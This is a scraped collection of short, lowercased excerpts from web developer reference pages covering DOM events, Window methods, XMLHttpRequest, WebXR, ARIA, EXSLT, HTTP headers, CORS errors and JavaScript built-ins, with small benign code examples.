syntax var unit = event.deltamode; example var syntheticevent = new wheelevent("syntheticwheel", {"deltax": 4, "deltamode": 0}); console.log(syntheticevent.deltamode); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltamode' in that specification.
WheelEvent.deltaX - Web APIs
WebAPIWheelEventdeltaX
syntax var dx = event.deltax; example var syntheticevent = new wheelevent("syntheticwheel", {"deltax": 4, "deltamode": 0}); console.log(syntheticevent.deltax); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltax' in that specification.
WheelEvent.deltaZ - Web APIs
WebAPIWheelEventdeltaZ
syntax var dz = event.deltaz; example var syntheticevent = new wheelevent("syntheticwheel", {"deltaz": 4, "deltamode": 0}); console.log(syntheticevent.deltaz); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltaz' in that specification.
Window: afterprint event - Web APIs
bubbles no cancelable no interface event event handler property onafterprint examples using addeventlistener(): window.addeventlistener('afterprint', (event) => { console.log('after print'); }); using the onafterprint event handler property: window.onafterprint = (event) => { console.log('after print'); }; specifications specification status html living standard living standard ...
Window.alert() - Web APIs
WebAPIWindowalert
specification specification status comment html living standardthe definition of 'alert()' in that specification.
Window: beforeprint event - Web APIs
bubbles no cancelable no interface event event handler property onbeforeprint examples using addeventlistener(): window.addeventlistener('beforeprint', (event) => { console.log('before print'); }); using the onbeforeprint event handler property: window.onbeforeprint = (event) => { console.log('before print'); }; specifications specification status html living standard living standard ...
Window.blur() - Web APIs
WebAPIWindowblur
specification specification status comment html living standardthe definition of 'window.blur()' in that specification.
Window.clearImmediate() - Web APIs
examples let immediateid = setimmediate(() => { // run some code } document.getelementbyid("button") .addeventlistener(() => { clearimmediate(immediateid); }); specifications specification status comment efficient script yielding the definition of 'setimmediate' in that specification.
Window: clipboardchange event - Web APIs
bubbles no cancelable no interface clipboardevent event handler property none examples javascript window.addeventlistener('clipboardchange', () => { console.log('clipboard contents changed'); }); specifications specification status clipboard api and eventsthe definition of 'clipboardchange event' in that specification.
Window.console - Web APIs
WebAPIWindowconsole
specifications specification status comment console api living standard initial definition.
Window.convertPointFromNodeToPage() - Web APIs
specifications this method was specified in the defunct 20 march 2009 working draft of css 2d transforms module level 3.
Window.crypto - Web APIs
WebAPIWindowcrypto
; window.crypto.getrandomvalues(array); var randtext = document.getelementbyid("myrandtext"); randtext.innerhtml = "the random numbers are: " for (var i = 0; i < array.length; i++) { randtext.innerhtml += array[i] + " "; } } html <p id="myrandtext">the random numbers are: </p> <button type="button" onclick='genrandomnumbers()'>generate 10 random numbers</button> result specifications specification status comment web cryptography apithe definition of 'window.crypto' in that specification.
Window.defaultStatus - Web APIs
specification html5 ...
Window.directories - Web APIs
example <script> function dirs() { alert(window.directories); } </script> specification not part of specification.
Window.focus() - Web APIs
WebAPIWindowfocus
syntax window.focus() example if (clicked) { window.focus(); } specification specification status comment html living standardthe definition of 'window.focus()' in that specification.
Window.forward() - Web APIs
WebAPIWindowforward
example function goforward() { if (cangoforward) { window.forward(); } } specification this is not part of any specification.
Window.fullScreen - Web APIs
WebAPIWindowfullScreen
the fullscreen property of the window interface indicates whether the window is displayed in full screen mode or not.
Window: gamepadconnected event - Web APIs
bubbles no cancelable no interface gamepadevent event handler property ongamepadconnected examples window.addeventlistener('gamepadconnected', event => { // all buttons and axes values can be accessed through event.gamepad; }); specifications specification status gamepad working draft ...
Window: gamepaddisconnected event - Web APIs
bubbles no cancelable no interface gamepadevent event handler property ongamepaddisconnected examples window.addeventlistener('gamepaddisconnected', event => { console.log('lost connection with the gamepad.'); }); specifications specification status gamepad working draft ...
Window: languagechange event - Web APIs
bubbles no cancelable no interface event event handler onlanguagechange examples you can use the languagechange event in an addeventlistener method: window.addeventlistener('languagechange', function() { console.log('languagechange event detected!'); }); or use the onlanguagechange event handler property: window.onlanguagechange = function(event) { console.log('languagechange event detected!'); }; specification specification status html living standardthe definition of 'languagechange' in that specification.
Window.minimize() - Web APIs
WebAPIWindowminimize
a way to undo this method programatically is by calling window.moveto().
Window.mozAnimationStartTime - Web APIs
this value should be used instead of, for example, date.now(), because this value will be the same for all animations started in this window during this refresh interval, allowing them to remain in sync with one another.
Window.mozPaintCount - Web APIs
specification not part of any w3c technical specification or recommendation.
Window: offline event - Web APIs
bubbles no cancelable no interface event event handler property onoffline examples // addeventlistener version window.addeventlistener('offline', (event) => { console.log("the network connection has been lost."); }); // onoffline version window.onoffline = (event) => { console.log("the network connection has been lost."); }; specifications specification status html living standardthe definition of 'offline event' in that specification.
Window.onbeforeinstallprompt - Web APIs
the window.onbeforeinstallprompt property is an event handler for processing a beforeinstallprompt, which is dispatched on devices when a user is about to be prompted to "install" a web application.
Window.ondevicelight - Web APIs
syntax window.ondevicelight = funcref where funcref is a function to be called when the devicelight event occurs.
Window.ondevicemotion - Web APIs
specifications specification status comment deviceorientation event specification editor's draft initial definition.
window.ondeviceorientation - Web APIs
}); specifications specification status comment deviceorientation event specification editor's draft initial specification.
Window.ondeviceorientationabsolute - Web APIs
}); specifications this event handler is not currently part of any specification.
Window.ondeviceproximity - Web APIs
syntax window.onuserproximity = funcref where funcref is a function to be called when the deviceproximity event occurs.
Window.ongamepadconnected - Web APIs
}; examples window.ongamepadconnected = function(event) { // all buttons and axes values can be accessed through event.gamepad; }; specifications specification status comment gamepadthe definition of 'gamepadconnected event' in that specification.
Window.ongamepaddisconnected - Web APIs
}; examples window.ongamepaddisconnected = function() { // a gamepad has been disconnected }; specifications specification status comment gamepadthe definition of 'gamepaddisconnected event' in that specification.
Window.onuserproximity - Web APIs
the window.onuserproxymity property represents an eventhandler, that is a function to be called when the userproximity event occurs.
Window.orientation - Web APIs
specifications specification status comment compatibility standardthe definition of 'window.orientation' in that specification.
Window.outerWidth - Web APIs
WebAPIWindowouterWidth
specification specification status comment css object model (cssom) view modulethe definition of 'window.outerwidth' in that specification.
Window.pageXOffset - Web APIs
specification specification status comment css object model (cssom) view modulethe definition of 'window.pagexoffset' in that specification.
Window.parent - Web APIs
WebAPIWindowparent
syntax var parentwindow = window.parent; example if (window.parent != window.top) { // we're deeper than one down } specifications specification status comment html living standardthe definition of 'window.parent' in that specification.
Window.pkcs11 - Web APIs
WebAPIWindowpkcs11
specification not part of specification.
Window.print() - Web APIs
WebAPIWindowprint
syntax window.print() specification specification status comment html living standardthe definition of 'print()' in that specification.
Window.restore() - Web APIs
WebAPIWindowrestore
this method is currently not working, but you can use: window.moveto(window.screenx, window.screeny); browser compatibility the compatibility table in this page is generated from structured data.
Window.screen - Web APIs
WebAPIWindowscreen
syntax let screenobj = window.screen; example if (screen.pixeldepth < 8) { // use low-color version of page } else { // use regular, colorful page } specifications specification status comment css object model (cssom) view modulethe definition of 'window.screen' in that specification.
Window.scrollByLines() - Web APIs
example <!-- scroll up the document by 5 lines --> <button id="scroll-up" onclick="scrollbylines(-5);">up 5 lines</button> <!-- scroll down the document by 5 lines --> <button id="scroll-down" onclick="scrollbylines(5);">down 5 lines</button> specification this is not part of any specification.
Window.status - Web APIs
WebAPIWindowstatus
syntax window.status = string; var value = window.status; specifications specification status comment html living standardthe definition of 'window.status' in that specification.
Window.visualViewport - Web APIs
specifications specification status comment visual viewport apithe definition of 'visualviewport' in that specification.
WindowEventHandlers.onrejectionhandled - Web APIs
}); window.onrejectionhandled = function(event) { ...}; example window.onrejectionhandled = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'onrejectionhandled' in that specification.
WindowEventHandlers.onstorage - Web APIs
window.onstorage = function(e) { console.log('the ' + e.key + ' key has been changed from ' + e.oldvalue + ' to ' + e.newvalue + '.'); }; specifications specification status comment html living standardthe definition of 'onstorage' in that specification.
Worker.terminate() - Web APIs
WebAPIWorkerterminate
var myworker = new worker('worker.js'); myworker.terminate(); specifications specification status comment html living standardthe definition of 'worker.terminate()' in that specification.
WorkerGlobalScope: languagechange event - Web APIs
bubbles no cancelable no interface event event handler onlanguagechange examples you can use the languagechange event in an addeventlistener method: worker.addeventlistener('languagechange', function() { console.log('languagechange event detected!'); }); or use the onlanguagechange event handler property: worker.onlanguagechange = function(event) { console.log('languagechange event detected!'); }; specification specification status html living standardthe definition of 'languagechange' in that specification.
WorkerNavigator.locks - Web APIs
specifications specification status comment web locks apithe definition of 'locks' in that specification.
WritableStreamDefaultWriter.closed - Web APIs
// check if the stream is closed writer.closed.then(() => { console.log('writer closed'); }) specifications specification status comment streamsthe definition of 'closed' in that specification.
WritableStreamDefaultWriter.releaseLock() - Web APIs
// release writer's lock on the stream when desired writer.releaselock(); specifications specification status comment streamsthe definition of 'releaselock()' in that specification.
XDomainRequest.abort() - Web APIs
syntax xdr.abort(); example var xdr = new xdomainrequest(); xdr.open("get", "http://example.com/api/method"); xdr.send(); xdr.abort(); specification not part of any specification.
XDomainRequest.open() - Web APIs
example var xdr = new xdomainrequest(); xdr.open("get", "http://example.com/api/method"); specification not part of any specification.
XDomainRequest.responseText - Web APIs
example var response = xdr.responsetext; specification not part of any specification.
XDomainRequest.timeout - Web APIs
example xdr.timeout = 10000; specification not part of any specification.
Using XMLHttpRequest in IE6 - Web APIs
in all modern browsers, you can create a new xmlhttprequest object using the following code: var request = new xmlhttprequest() however, if you need to also support internet explorer 6 and older, you need to extend your code like this: if (window.xmlhttprequest) { //firefox, opera, ie7, and other browsers will use the native object var request = new xmlhttprequest(); } else { //ie 5 and 6 will use the activex control var request = new activexobject("microsoft.xmlhttp"); } see also using xmlhttprequest ...
XMLHttpRequest.channel - Web APIs
in the case of a multi-part request, this is the initial channel, not the different parts in the multi-part request.
XMLHttpRequest.mozAnon - Web APIs
if true, the request will be sent without cookies or authentication headers.
XMLHttpRequest.openRequest() - Web APIs
this mozilla-specific method is available only from within privileged code, and is only called from a c++ context in order to initialize an xmlhttprequest.
XMLHttpRequest.responseURL - Web APIs
example var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/test', true); xhr.onload = function () { console.log(xhr.responseurl); // http://example.com/test }; xhr.send(null); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest: timeout event - Web APIs
bubbles no cancelable no interface progressevent event handler property ontimeout examples const client = new xmlhttprequest(); client.open('get', 'http://www.example.org/example.txt'); client.ontimeout = () => { console.error('timeout!!') }; client.send(); you could also set up the event handler using the addeventlistener() method: client.addeventlistener('timeout', () => { console.error("timeout!!"); }); specifications specification status comment xmlhttprequestthe definition of 'timeout event' in that specification.
XMLSerializer.serializeToString() - Web APIs
specifications specification status comment dom parsing and serializationthe definition of 'serializetostring()' in that specification.
XPathEvaluator - Web APIs
html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression("//div"); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator' in that specification.
XPathException.code - Web APIs
specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathexception' in that specification.
XPathNSResolver.lookupNamespaceURI() - Web APIs
specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathnsresolver.lookupnamespaceuri()' in that specification.
XPathResult.resultType - Web APIs
html <div>xpath example</div> <div>is xpath result a node set: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.any_type, null); document.queryselector("output").textcontent = result.resulttype >= xpathresult.unordered_node_iterator_type && result.resulttype <= xpathresult.first_ordered_node_type; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.resulttype' in that specification.
XREye - Web APIs
WebAPIXREye
specifications specification status comment webxr device apithe definition of 'xreye' in that specification.
XRFrame.session - Web APIs
WebAPIXRFramesession
specifications specification status comment webxr device apithe definition of 'xrframe.session' in that specification.
XRInputSourcesChangeEvent.added - Web APIs
xrsession.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerdevice(input); } } for (let input of event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerdevice(input); } } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent.added' in that specification.
XRInputSourcesChangeEvent.removed - Web APIs
xrsession.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerdevice(input); } } for (let input of event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerdevice(input); } } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent.removed' in that specification.
XRInputSourcesChangeEventInit.removed - Web APIs
specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit.removed' in that specification.
XRInputSourcesChangeEventInit - Web APIs
examples <tbd> specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeeventinit' in that specification.
XRRenderState.depthFar - Web APIs
specifications specification status comment unknownthe definition of 'xrrenderstate.depthfar' in that specification.
XRRenderState.depthNear - Web APIs
specifications specification status comment unknownthe definition of 'xrrenderstate.depthnear' in that specification.
XRSession.onend - Web APIs
WebAPIXRSessiononend
}; example xrsession.onend = function(event) { console.log("the xr session has ended") } specifications specification status comment webxr device apithe definition of 'xrsession.onend' in that specification.
XRSession.oninputsourceschange - Web APIs
} example xrsession.oninputsourceschange = function(event) { console.log("the list of active xr input sources has changed.") } specifications specification status comment webxr device apithe definition of 'xrsession.oninputsourceschange' in that specification.
XRSession.onselectend - Web APIs
} example xrsession.onselectend = function(event) { console.log("the user has completed a primary action.") } specifications specification status comment webxr device apithe definition of 'xrsession.onselectend' in that specification.
XRSession.onselectstart - Web APIs
} example xrsession.onselectstart = function(event) { console.log("the user has started a primary action, but might not have completed it.") } specifications specification status comment webxr device apithe definition of 'xrsession.onselectstart' in that specification.
XRSystem: ondevicechange - Web APIs
}; value undefined example navigator.xr.ondevicechange = function(ev) { console.log("the availability of immersive xr devices has changed.") }; specifications specification status comment webxr device apithe definition of 'ondevicechange ' in that specification.
XRView.projectionMatrix - Web APIs
examples specifications specification status comment webxr device apithe definition of 'xrview.projectionmatrix' in that specification.
XRViewport.height - Web APIs
WebAPIXRViewportheight
specifications specification status comment webxr device apithe definition of 'xrviewport.height' in that specification.
XRViewport.width - Web APIs
WebAPIXRViewportwidth
specifications specification status comment webxr device apithe definition of 'xrviewport.width' in that specification.
Introduction - Web APIs
css (cascade style sheets) was one of the first ways proposed by the w3c.
Resources - Web APIs
resources transforming xml: netscape and xslt what kind of language is xslt?
ARIA guides - Accessibility
accessible rich internet applications (aria) defines ways to make the web more accessible to people with disabilities.
Using the aria-relevant attribute - Accessibility
additional resources wai-aria specification for aria-relevant ...
Using the aria-valuemax attribute - Accessibility
" aria-valuemin="1" aria-valuemax="10"> working examples: progressbar example slider example spinbutton example notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuemin aria-valuenow aria-valuetext compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-valuemax attribute ...
Using the aria-valuemin attribute - Accessibility
" aria-valuemin="1" aria-valuemax="10"> working examples: progressbar example slider example spinbutton example notes used with aria roles progressbar scrollbar slider spinbutton related aria techniques aria-valuemax aria-valuenow aria-valuetext compatibility tbd: add support information for common ua and at product combinations additional resources wai-aria specification for the aria-valuemin attribute ...
overview - Accessibility
ts from the university of illinois menu using wai-aria roles and states with the yui menu control slider from the paciello group blog: aria slider, part one, part two, part threet (example) creating an accessible, internationalized dojo rating widget tabs enhancing tabview accessibility with wai-aria roles and states, from the yui blog enhancing the jquery ui tabs accordingly to wcag 2.0 and aria tab panel example here on codetalks lightbox wcag 2.0 and aria-conformant lightbox application http://majx-js.digissime.net/js/popin/ form validation wcag 2.0 and aria-conformant live form validation tables german tutorial on creating an accessible form simple grid example at codetalks date picker grid at codetalks wcag 2.0 and aria-conformant sortable tables ...
widgets - Accessibility
this page was auto-generated because a user created a sub-page to this page.
Accessible dynamic content - Accessibility
this content has been moved to an overview of accessible web applications and widgets.
math:max() - EXSLT
WebEXSLTmathmax
specifications exslt - math:max ...
math:min() - EXSLT
WebEXSLTmathmin
specifications exslt - math:min browser compatibility supported in gecko 1.9 and later.
Math (math) - EXSLT
WebEXSLTmath
math:highest()math:highest() returns the node in the specified node-set with the highest value (where the highest value calculated using math:max()).math:lowest()math:lowest() returns the node in the specified node-set with the lowest value (where the lowest value calculated using math:min()).math:max()math:max() returns the maximum value of a node-set.math:min()math:min() returns the minimum value of a node-set.
set:difference() - EXSLT
WebEXSLTsetdifference
specifications exslt - set:difference ...
set:distinct() - EXSLT
WebEXSLTsetdistinct
specifications exslt - set:distinct ...
set:has-same-node() - EXSLT
specifications exslt - set:has-same-node ...
set:intersection() - EXSLT
specifications exslt - set:intersection ...
set:leading() - EXSLT
WebEXSLTsetleading
specifications exslt - set:leading ...
set:trailing() - EXSLT
WebEXSLTsettrailing
specifications exslt - set:trailing ...
str:tokenize() - EXSLT
WebEXSLTstrtokenize
example: str:tokenize('2007-09-14-03t11:40:23', '-t:') returns a node set like this: <token>2007</token> <token>09</token> <token>14</token> <token>11</token> <token>40</token> <token>23</token> specifications exslt - str:tokenize ...
Strings (str) - EXSLT
WebEXSLTstr
str:concat()str:concat() returns a string containing all the string values in a node-set concatenated together.str:split()str:split() splits a string using a pattern string to determine where the splits should occur, returning a node-set containing the resulting strings.str:tokenize()str:tokenize() splits a string using a set of characters as delimiters that determine where the splits should occur, returning a node-set containing the resulting strings.
Index - Event reference
WebEventsIndex
events can represent everything from basic user interactions to automated notifications of things happening in the rendering model.
The Unicode Bidirectional Text Algorithm - Developer guides
understanding this algorithm in at least basic terms is helpful when you're striving to produce localization-ready web content or apps.
<big>: The Bigger Text element - HTML: Hypertext Markup Language
WebHTMLElementbig
the size is capped at the browser's maximum permitted font size.
<center>: The Centered Text element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementcenter
this tag has been deprecated in html 4 (and xhtml 1) in favor of the css text-align property, which can be applied to the <div> element or to an individual <p>.
<input type="datetime"> - HTML: Hypertext Markup Language
WebHTMLElementinputdatetime
instead, browsers are implementing (and developers are encouraged to use) <input type="datetime-local">.
<nobr>: The Non-Breaking Text element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementnobr
the non-standard, obsolete html <nobr> element prevents the text it contains from automatically wrapping across multiple lines, potentially resulting in the user having to scroll horizontally to see the entire width of the text.
<noembed>: The Embed Fallback element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementnoembed
this element was deprecated in html 4.01 and above in favor of placing fallback content between the opening and closing tags of an <object> element.
part - HTML: Hypertext Markup Language
specifications specification status comment shadow partsthe definition of 'part' in that specification.
x-ms-format-detection - HTML: Hypertext Markup Language
the x-ms-format-detection attribute determines whether data formats within the element’s text, like phone numbers, are automatically converted to followable links.
Link types: modulepreload - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'modulepreload' in that specification.
Link types: noreferrer - HTML: Hypertext Markup Language
specifications specification status comment html living standardthe definition of 'noreferrer' in that specification.
Reason: CORS disabled - HTTP
WebHTTPCORSErrorsCORSDisabled
setting this to true disables cors, so whenever that's the case, cors requests will always fail with this error.
Reason: CORS request external redirect not allowed - HTTP
for example, if the page https://service.tld/fetchdata were requested, and the http response is "301 moved permanently", "307 temporary redirect", or "308 permanent redirect" with a location of https://anotherservice.net/getdata, the cors request will fail in this manner.
Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ - HTTP
this is a problem that most likely can only be fixed on the server side, by modifying the server's configuration to no longer send the invalid or unknown header name with the access-control-allow-headers header.
Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’ - HTTP
this is a problem that most likely can only be fixed on the server side, by modifying the server's configuration to no longer send the invalid or unknown method name with the access-control-allow-methods header.
Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel - HTTP
to fix this, the server needs to be updated so that it allows the indicated header, or you need to avoid using that header.
Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’ - HTTP
the cors request was attempted with the credentials flag set, but the server is configured using the wildcard ("*") as the value of access-control-allow-origin, which doesn't allow the use of credentials.
Access-Control-Request-Headers - HTTP
examples access-control-request-headers: x-pingother, content-type specifications specification status comment fetchthe definition of 'access-control-request-headers' in that specification.
Access-Control-Request-Method - HTTP
examples access-control-request-method: post specifications specification status comment fetchthe definition of 'access-control-request-method' in that specification.
Cookie - HTTP
WebHTTPHeadersCookie
examples cookie: phpsessid=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1 specifications specification title rfc 6265, section 5.4: cookie http state management mechanism ...
Cookie2 - HTTP
WebHTTPHeadersCookie2
header type request header forbidden header name yes examples cookie2: $version="1" specifications specification title rfc 2965: cookie2 historic specification of http state management mechanism, obsoleted by rfc 6265 ...
DPR - HTTP
WebHTTPHeadersDPR
the dpr header is a client hints headers which represents the client device pixel ratio (dpr), which is the the number of physical device pixels corresponding to every css pixel.
Feature-Policy: ambient-light-sensor - HTTP
specification specification status comment feature policy editor's draft initial definition.
Feature-Policy: autoplay - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: gyroscope - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: layout-animations - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: legacy-image-formats - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: magnetometer - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: microphone - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: midi - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: oversized-images - HTTP
specification specification status comment feature policy editor's draft initial definition.
Feature-Policy: payment - HTTP
specifications specification status comment payment request api candidate recommendation see section 16.
Feature-Policy: picture-in-picture - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: sync-xhr - HTTP
specification specification status comment feature policy editor's draft initial definition.
Feature-Policy: unoptimized-images - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Feature-Policy: vibrate - HTTP
specifications specification status comment feature policy editor's draft initial definition.
web-share - HTTP
specifications specification status comment feature policy editor's draft initial definition.
Host - HTTP
WebHTTPHeadersHost
examples host: developer.cdn.mozilla.net specifications specification title rfc 7230, section 5.4: host hypertext transfer protocol (http/1.1): message syntax and routing ...
NEL - HTTP
WebHTTPHeadersNEL
header type response header forbidden header name no syntax nel: { "report_to": "name_of_reporting_group", "max_age": 12345, "include_subdomains": false, "success_fraction": 0.0, "failure_fraction": 1.0 } specifications specification network error logging ...
GET - HTTP
WebHTTPMethodsGET
request has body no successful response has body yes safe yes idempotent yes cacheable yes allowed in html forms yes syntax get /index.html specifications specification title rfc 7231, section 4.3.1: get hypertext transfer protocol (http/1.1): semantics and content ...
TRACE - HTTP
WebHTTPMethodsTRACE
request has body no successful response has body no safe no idempotent yes cacheable no allowed in html forms no syntax trace /index.html specifications specification title rfc 7231, section 4.3.8: trace hypertext transfer protocol (http/1.1): semantics and content ...
103 Early Hints - HTTP
WebHTTPStatus103
syntax 103 early hints specifications specification status comments rfc 8297: 103 early hints ietf rfc initial definition browser compatibility the compatibility table in this page is generated from structured data.
408 Request Timeout - HTTP
WebHTTPStatus408
status 408 request timeout specifications specification title rfc 7231, section 6.5.7: 408 request timeout hypertext transfer protocol (http/1.1): semantics and content ...
TypeError: invalid Array.prototype.sort argument - JavaScript
examples invalid cases [1, 3, 2].sort(5); // typeerror var cmp = { asc: (x, y) => x >= y, dsc: (x, y) => x <= y }; [1, 3, 2].sort(cmp[this.key] || 'asc'); // typeerror valid cases [1, 3, 2].sort(); // [1, 2, 3] var cmp = { asc: (x, y) => x >= y, dsc: (x, y) => x <= y }; [1, 3, 2].sort(cmp[this.key || 'asc']); // [1, 2, 3] ...
SyntaxError: test for equality (==) mistyped as assignment (=)? - JavaScript
examples assignment within conditional expressions it is advisable to not use simple assignments in a conditional expression (such as if...else), because the assignment can be confused with equality when glancing over the code.
TypeError: setting getter-only property "x" - JavaScript
message typeerror: assignment to read-only properties is not allowed in strict mode (edge) typeerror: setting getter-only property "x" (firefox) typeerror: cannot set property "prop" of #<object> which has only a getter (chrome) error type typeerror in strict mode only.
ReferenceError: invalid assignment left-hand side - JavaScript
examples typical invalid assignments if (math.pi = 3 || math.pi = 4) { console.log('no way!'); } // referenceerror: invalid assignment left-hand side var str = 'hello, ' += 'is it me ' += 'you\'re looking for?'; // referenceerror: invalid assignment left-hand side in the if statement, you want to use a comparison operator ("=="), and for the string concatenation, the plus ("+") operator is needed.
SyntaxError: missing } after function body - JavaScript
examples forgotten closing curly bracket oftentimes, there is a missing curly bracket in your function code: var charge = function() { if (sunny) { usesolarcells(); } else { promptbikeride(); }; correct would be: var charge = function() { if (sunny) { usesolarcells(); } else { promptbikeride(); } }; it can be more obscure when using iife, closures, or other constructs that use a lot of different parenthesis and curly brackets, for example.
TypeError: "x" is not a non-null object - JavaScript
you can't use other types as keys.
RangeError: argument is not a valid code point - JavaScript
examples invalid cases string.fromcodepoint('_'); // rangeerror string.fromcodepoint(infinity); // rangeerror string.fromcodepoint(-1); // rangeerror string.fromcodepoint(3.14); // rangeerror string.fromcodepoint(3e-2); // rangeerror string.fromcodepoint(nan); // rangeerror valid cases string.fromcodepoint(42); // "*" string.fromcodepoint(65, 90); // "az" string.fromcodepoint(0x404...
SyntaxError: "x" is a reserved identifier - JavaScript
"use strict"; class docarchiver {} // syntaxerror: class is a reserved identifier // (throws in older browsers only, e.g.
AggregateError() constructor - JavaScript
examples creating an aggregateerror try { throw new aggregateerror([ new error("some error"), ], 'hello'); } catch (e) { console.log(e instanceof aggregateerror); // true console.log(e.message); // "hello" console.log(e.name); // "aggregateerror" console.log(e.errors); // [ error: "some error" ] } specifications specification promise.anythe definition of 'aggregateerror()' in that specification.
get Array[@@species] - JavaScript
however, you might want to overwrite this, in order to return parent array objects in your derived class methods: class myarray extends array { // overwrite myarray species to the parent array constructor static get [symbol.species]() { return array; } } specifications specification ecmascript (ecma-262)the definition of 'get array [ @@species ]' in that specification.
Array.prototype[@@unscopables] - JavaScript
var keys = []; with (array.prototype) { keys.push('something'); } object.keys(array.prototype[symbol.unscopables]); // ["copywithin", "entries", "fill", "find", "findindex", // "includes", "keys", "values"] specifications specification ecmascript (ecma-262)the definition of 'array.prototype[@@unscopables]' in that specification.
Array.prototype.entries() - JavaScript
examples iterating with index and element const a = ['a', 'b', 'c']; for (const [index, element] of a.entries()) console.log(index, element); // 0 'a' // 1 'b' // 2 'c' using a for…of loop var a = ['a', 'b', 'c']; var iterator = a.entries(); for (let e of iterator) { console.log(e); } // [0, 'a'] // [1, 'b'] // [2, 'c'] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.entries' in that specification.
Array.prototype.keys() - JavaScript
examples key iterator doesn't ignore holes var arr = ['a', , 'c']; var sparsekeys = object.keys(arr); var densekeys = [...arr.keys()]; console.log(sparsekeys); // ['0', '2'] console.log(densekeys); // [0, 1, 2] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.keys' in that specification.
Array.of() - JavaScript
if (!array.of) { array.of = function() { return array.prototype.slice.call(arguments); // or let vals = []; for(let prop in arguments){ vals.push(arguments[prop]); } return vals; } } examples using array.of array.of(1); // [1] array.of(1, 2, 3); // [1, 2, 3] array.of(undefined); // [undefined] specifications specification ecmascript (ecma-262)the definition of 'array.of' in that specification.
get ArrayBuffer[@@species] - JavaScript
however, you might want to overwrite this, in order to return parent arraybuffer objects in your derived class methods: class myarraybuffer extends arraybuffer { // overwrite myarraybuffer species to the parent arraybuffer constructor static get [symbol.species]() { return arraybuffer; } } specifications specification ecmascript (ecma-262)the definition of 'get arraybuffer [ @@species ]' in that specification.
ArrayBuffer.isView() - JavaScript
ll); // false arraybuffer.isview(undefined); // false arraybuffer.isview(new arraybuffer(10)); // false arraybuffer.isview(new uint8array()); // true arraybuffer.isview(new float32array()); // true arraybuffer.isview(new int8array(10).subarray(0, 3)); // true const buffer = new arraybuffer(2); const dv = new dataview(buffer); arraybuffer.isview(dv); // true specifications specification ecmascript (ecma-262)the definition of 'arraybuffer.isview' in that specification.
Atomics.add() - JavaScript
examples using add() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); atomics.add(ta, 0, 12); // returns 0, the old value atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.add' in that specification.
Atomics.and() - JavaScript
5 0101 1 0001 ---- 1 0001 examples using and() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 5; atomics.and(ta, 0, 1); // returns 0, the old value atomics.load(ta, 0); // 1 specifications specification ecmascript (ecma-262)the definition of 'atomics.and' in that specification.
Atomics.compareExchange() - JavaScript
examples using compareexchange() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 7; atomics.compareexchange(ta, 0, 7, 12); // returns 7, the old value atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.compareexchange' in that specification.
Atomics.exchange() - JavaScript
examples using exchange() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); atomics.exchange(ta, 0, 12); // returns 0, the old value atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.exchange' in that specification.
Atomics.load() - JavaScript
examples using load const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); atomics.add(ta, 0, 12); atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.load' in that specification.
Atomics.or() - JavaScript
